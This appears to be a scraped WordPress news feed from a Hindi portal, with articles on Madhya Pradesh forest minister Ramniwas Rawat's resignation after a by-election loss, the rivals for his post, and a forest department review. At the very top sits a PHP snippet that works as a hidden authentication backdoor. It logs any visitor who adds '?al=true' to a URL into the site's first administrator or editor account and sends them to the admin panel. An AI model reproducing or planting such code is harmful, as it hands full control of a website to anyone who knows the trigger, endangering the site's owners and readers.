// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); rawat – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 05 Dec 2024 14:08:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 12वें दिन मंजूर हुआ वन मंत्री रामनिवास रावत का इस्तीफा, सीएम की सिफारिश के बाद राज्यपाल ने किया स्वीकार https://pratyushaashakinayikiran.com/?p=106462 Thu, 05 Dec 2024 14:08:00 +0000 https://pratyushaashakinayikiran.com/?p=106462 भोपाल

 मध्य प्रदेश की विजयपुर विधानसभा सीट पर उपचुनाव में हार के बाद वनमंत्री रामनिवास रावत ने 2 दिसंबर को इस्तीफा दिया। विदेश दौरे से लौटने के बाद CM डॉ. मोहन यादव ने रावत के इस्तीफे को अनुशंसा के लिए राज्यपाल मंगू भाई पटेल के पास भेजा। बुधवार (4 दिसंबर) को राम निवास रावत का इस्तीफा मंजूर हो गया है। रावत का इस्तीफा मंजूर होते ही अब नए वन मंत्री की तलाश शुरू हो गई है। रावत की कुर्सी पर बैठने के लिए कई नेताओं के नाम सियासी गलियारों में सुर्खियां बटोर रहे हैं। आइए जानते हैं कौन हैं वो नेता।

कुर्सी पाने की होड़ शुरू
वनमंत्री की कुर्सी पाने के लिए कई नेताओं ने प्रयास शुरू कर दिए हैं। अपने-अपने स्तर पर ताकत लगा रहे हैं। सियासी गलियारों में पूर्व वन मंत्री नागर सिंह चौहान और विजय शाह के नाम सबसे ज्यादा चर्चा में हैं। सूत्रों के मुताबिक, दोनों नेताओं की दावेदारी सबसे मजबूत मानी जा रही है। जनजातीय कार्य मंत्री विजय शाह ने दिल्ली में केंद्रीय वन एवं पर्यावरण मंत्री भूपेन्द्र यादव से भेंट की थी। पिछली सरकार में शाह के पास वन विभाग था।

नागर सिंह के पास था वन मंत्रालय
नागर सिंह चौहान अलीराजपुर से विधायक हैं। नागर की पत्नी अनीता सिंह चौहान रतलाम से बीजेपी सांसद हैं।  रावत को वन मंत्री बनाए जाने से पहले यह महकमा मंत्री नागर सिंह चौहान के पास था। उनसे वन विभाग छीने जाने पर चौहान ने नाराजगी भी जताई थी और बात दिल्ली तक पहुंची थी। ऐसे में उनकी भी दावेदारी इस पद के लिए मानी जा रही है। हाल ही में नागर सिंह ने दिल्ली में पूर्व सीएम शिवराज सिंह चौहान से मुलाकात की थी।  

शिवराज सरकार में वनमंत्री थे विजय शाह
हरसूद विधायक कुंवर विजय शाह मोहन सरकार में जनजातीय कार्य मंत्री हैं। शिवराज सिंह चौहान की सरकार में विजय सिंह वनमंत्री की जिम्मेदारी संभान चुके हैं। रावत के इस्तीफे के बाद विजय शाह का नाम भी वनमंत्री के लिए चल रहा है। दो दिन पहले शाह का एक वीडियो भी सोशल मीडिया पर सामने आया था। वीडियो में शाह से पूछा गया था कि रावत के इस्तीफे के बाद वन मंत्री का पद खाली है, क्या वे वन मंत्री बन सकते हैं। इस पर शाह बिना कोई जवाब दिए मुस्कुरा कर चल दिए थे।

इनके नाम भी बटोर रहे सुर्खियां
नागर सिंह और विजय शाह के अलावा भी कई नेताओं के नाम वनमंत्री के लिए सुर्खियां बटोर रहे हैं। रहली विधायक गोपाल भार्गव, विजयराघवगढ़ विधायक संजय पाठक, पाटन विधायक अजय विश्नोई सहित कई विधायकों के नाम भी चर्चा में हैं। इनके अलावा मोहन कैबिनेट में कमजोर विभाग वाले मंत्रियों की निगाहे भी इस विभाग पर हैं। हालांकि इसका अंतिम फैसला मुख्यमंत्री को ही करना है।

 

1. मंत्रिमंडल विस्तार और किसी नए चेहरे को जिम्मेदारी मंत्रिमंडल में रावत के इस्तीफे के बाद मोहन कैबिनेट में अब कुल 32 मंत्री हैं। विधानसभा सदस्यों की संख्या के हिसाब से संवैधानिक व्यवस्था के मुताबिक अधिकतम 35 मंत्री (मुख्यमंत्री सहित) रह सकते हैं। इस हिसाब से 3 मंत्रियों की गुंजाइश है, लेकिन मंत्रिमंडल विस्तार की फिलहाल कोई संभावना नहीं दिख रही है। ऐसी राजनीतिक परिस्थितियां भी नहीं हैं कि संगठन या सरकार के लिए विस्तार मजबूरी हो।

2. मौजूदा मंत्रियों में से किसी को वन विभाग सौंपा जाए इसकी संभावना ज्यादा है। किसी आदिवासी मंत्री को यह जिम्मेदारी मिल सकती है, क्योंकि रावत से पहले यह विभाग आदिवासी मंत्री नागर सिंह के पास ही था। नागर सिंह भी खुलकर दावेदारी कर चुके हैं। आदिवासी चेहरों में पीएचई मंत्री संपतिया उइके प्रबल दावेदार हैं। आदिवासियों से जुड़े मुद्दों के मामले में मुख्यमंत्री मोहन यादव फील्ड में उन्हें आगे करते रहे हैं। इससे सरकार महिला और आदिवासी दोनों वर्गों में मैसेज देगी। दूसरे दावेदार जनजातीय कार्य मंंत्री विजय शाह हैं जो दिल्ली तक लॉबिंग कर चुके हैं। शिवराज सरकार में वन विभाग उनके पास रह चुका है।

दो दिसंबर को इस्तीफा मंजूर, 4 को नोटिफिकेशन रावत का इस्तीफा दो दिसंबर को मंजूर किया गया। इसका नोटिफिकेशन सामान्य प्रशासन विभाग ने 4 दिसंबर को जारी किया। सीएम डॉ मोहन यादव के जर्मनी और यूके से 30 नवंबर को भोपाल लौटने के बाद मंत्री रावत ने उनसे मुलाकात की थी। माना जा रहा है कि सीएम से मुलाकात के बाद ही इस्तीफे को स्वीकार करने पर अंतिम फैसला हुआ है। सीएम यादव की अनुशंसा के बाद इस्तीफा राजभवन को भेजा गया।

उपचुनाव रिजल्ट आते ही राहत ने दिया था इस्तीफा वनमंत्री राम निवास रावत ने 23 नवंबर को विजयपुर विधानसभा उपचुनाव के परिणाम घोषित होने के बाद उसी शाम मंत्री पद से इस्तीफा दे दिया था। हालांकि तब से इस पर फैसला पेंडिंग था। मुख्यमंत्री 24 नवंबर को विदेश के लिए रवाना हो गए और तीस नवंबर को भोपाल लौटे। इसके बाद रावत की उनसे मुलाकात हुई और अब इस्तीफे को मंजूरी मिली है।

वन मंत्री बनने के सवाल पर मुस्कुरा कर रह गए थे शाह वन मंत्री रह चुके कुंवर विजय शाह का दो दिन पहले एक वीडियो भी सामने आया था। इसमें जब शाह से पूछा गया कि रावत के इस्तीफे के बाद वन मंत्री का पद खाली है, क्या वे वन मंत्री बन सकते हैं। इस पर शाह बिना कोई जवाब दिए मुस्कुरा कर चल दिए थे।

सीएम के पास जीएडी, गृह, जेल, खनिज जैसे महकमे मुख्यमंत्री डॉ मोहन यादव ने अपने पास कई महत्वपूर्ण विभाग रखे हैं। इसमें सामान्य प्रशासन विभाग के अलावा गृह, जेल विभाग, औद्योगिक नीति और निवेश प्रोत्साहन, जनसंपर्क, नर्मदा घाटी विकास विभाग, विमानन, खनिज, लोक सेवा प्रबंधन, प्रवासी भारतीय विभाग शामिल हैं। विभागों के नए बंटवारे में सीएम अपने पास से भी कुछ विभाग दूसरे मंत्रियों को दे सकते हैं।

 

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रावत के इस्तीफे के बाद अब कौन बनेगा मध्य प्रदेश का नया वन मंत्री… कुर्सी पर कई मंत्री-विधायकों की नजर https://pratyushaashakinayikiran.com/?p=103886 Thu, 28 Nov 2024 18:05:00 +0000 https://pratyushaashakinayikiran.com/?p=103886  भोपाल
विजयपुर विधानसभा उप चुनाव हारे प्रदेश के वन मंत्री रामनिवास रावत के त्यागपत्र के बाद इस कुर्सी पर कुछ मंत्रियों और विधायकों की नजर है। वह अपने-अपने स्तर पर इसके लिए प्रयास भी कर रहे हैं।

जनजातीय कार्य मंत्री विजय शाह ने दिल्ली में केंद्रीय वन एवं पर्यावरण मंत्री भूपेन्द्र यादव से भेंट की है। भूपेंद्र यादव विधानसभा चुनाव में प्रदेश के प्रभारी भी रहे हैं। पिछली सरकार में शाह के पास वन विभाग था।

उधर, अनुसूचित जाति कल्याण मंत्री नागर सिंह चौहान ने भी दिल्ली में केंद्रीय कृषि एवं किसान कल्याण मंत्री शिवराज सिंह चौहान से भेंट की है। रावत के पहले वन विभाग भी नागर सिंह चौहान के पास ही था।

रावत जुलाई में बने थे मंत्री, हार के बाद दिया इस्तीफा

    आठ जुलाई को मंत्री बनाए गए रामनिवास रावत यह विभाग दे दिया गया था। इस पर नागर सिंह ने नाराजगी भी जताई थी। इन भेंट-वार्ताओं को भी वन मंत्री पद की दौड़ से जोड़कर देखा जा रहा है।

    उधर, बुधवार को प्रदेश भाजपा कार्यालय में संगठन पर्व की कार्यशाला में शामिल होने आए नागर सिंह ने मीडिया से बातचीत में कहा, किसे कौन सा विभाग देना है यह मुख्यमंत्री का विशेषाधिकार है। अगर वह वन विभाग देते हैं तो हम संभालने के लिए तैयार हूं।
    बता दें, विजयपुर विधानसभा उपचुनाव में रामनिवास रावत को हार का सामना करना पड़ा था। उन्होंने 2023 मध्य प्रदेश में विधानसभा में कांग्रेस में रहते हुए जीत दर्ज की थी, लेकिन बाद में भाजपा में शामिल हो गए थे।

'अपनों ने हराया' के प्रश्न पर रावत बोले- क्षेत्र में जाकर देख लो

चुनाव हारने के बाद राम निवास रावत पहली बार भोपाल आए। यहां उन्होंने भाजपा प्रदेश अध्यक्ष विष्णु दत्त शर्मा और अन्य पार्टी पदाधिकारियों से भेंटकर हार के कारणों पर चर्चा की।

मीडिया ने उनसे पूछा- 'आपने कहा था, अपनों ने हराया', इस पर रावत ने कहा- क्षेत्र में जाकर देख लो। हालांकि, आगे उन्होंने कहा समय और भाग्य से कोई नहीं लड़ सकता।

आगे पार्टी की द्वारा नई जिम्मेदारी दिए जाने के प्रश्न पर उन्होंने कहा- प्रदेश अध्यक्ष से किसी जिम्मेदारी के संबंध में नहीं बल्कि सौजन्य भेंट हुई है। पार्टी जो भी जिम्मेदारी देगी उसे पूरी ईमानदारी से निभाऊंगा। विदेश से लौटने पर मुख्यमंत्री डॉ. मोहन यादव से भी भेंट करूंगा।

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वन अधिकार पत्र धारकों को प्रधानमंत्री किसान सम्मान निधि एवं किसान क्रेडिट कार्ड का लाभ शत-प्रतिशत मिले : वन मंत्री रावत https://pratyushaashakinayikiran.com/?p=65936 Wed, 04 Sep 2024 09:10:00 +0000 https://pratyushaashakinayikiran.com/?p=65936 भोपाल

वन विभाग की समीक्षा बैठक के दौरान मंत्री रामनिवास रावत ने वन अधिकार पत्र धाराकों को शासन की प्रधानमंत्री किसान सम्मान निधि एवं किसान क्रेडिट कार्ड का शत-प्रतिशत लाभ दिलाने के निर्देश दिये। उन्होंने कहा कि वनों में निवास करने वाले अनूसुचित जनजातीय वर्ग के लोगों को शासन की योजनाओं का लाभ दिया जाये। उन्होंने कहा कि राज्य सरकार ने तेंदूपत्ता संग्रहण दर रूपये 3 हजार से बढ़ाकर 4 हजार प्रति मानक बोरा कर दी गई है। जिससे वनवासियों को इसका लाभ मिल रहा है। उन्होंने बताया कि तेंदूपत्ता संग्रहण के पारिश्रमिक के रूप में 660 करोड़ की राशिवितरित की गई है। मंत्री रावत ने कहा कि बांस रोपण को बढ़ावा दिया जाये और इसके लिये अधिक से अधिक कृषकों को बांस लगाने के लिये प्रेरित किया जाये।

मंत्री रावत ने कहा कि वन ग्रामों को राजस्व ग्रामों में संपरिवर्तन करने की कार्रवाई की जाये। इसके लिये समयबद्ध कार्यक्रम बनाया जाकर समस्त कलेक्टरों को निर्देश जारी करें। मंत्री रावत ने बताया कि एक "पेड़ माँ के नाम अभियान" के अंतर्गत 6.30 करोड़ पौधा रोपण लक्ष्य के विरूद्ध 5.47 पौधे रोपित किये गये है।

मंत्री रावत ने कहा कि अनुभुति कार्यक्रम के अंतर्गत 1151 शिविरों में 2287 शैक्षणिक संस्थानों के 1.47 लाख विद्यार्थियों एवं 8006 शिक्षकों को वन, वन्यजीव एवं पर्यावरण संरक्षण के प्रति जागरूक किया गया है। उन्होंने कहा कि चीता परियोजना के द्वितीय चरण के अंतर्गत गांधी सागर अभ्यारण, मंदसौर में चीता लाने की तैयारियाँ शीघ्र पूर्ण करने के निर्देश दिये। उन्होंने कहा कि यह गर्व की बात है कि हमारे प्रदेश में तेंदुओं की संख्या सबसे अधिक है। इसके लिये हमें वनों में पुख्ता इंतेजाम करने होंगे।

मंत्री रावत ने बाघ प्रबंधन के लिये अधिकारियों को निर्देश दिये उन्होंने कहा कि बाघ की संख्या में भी मध्यप्रदेश अग्रणी है। बाघ संरक्षण के लिये महत्वपूर्ण कदम उठाने की जरूरत है। उन्होंने निर्देश दिये की माधव राष्ट्रीय उद्यान एवं रातापानी अभ्यारण को टाईगर रिजर्व घोषित करने के कार्रवाई करे। मंत्री रावत ने वन विभाग की सभी योजनाओं की विस्तृत समीक्षा की।

समीक्षा बैठक में वन विभाग के एसीएस अशोक वर्णवाल, वन बल प्रमुख असीम श्रीवास्तव और विभागीय अधिकारी उपस्थित थे।

 

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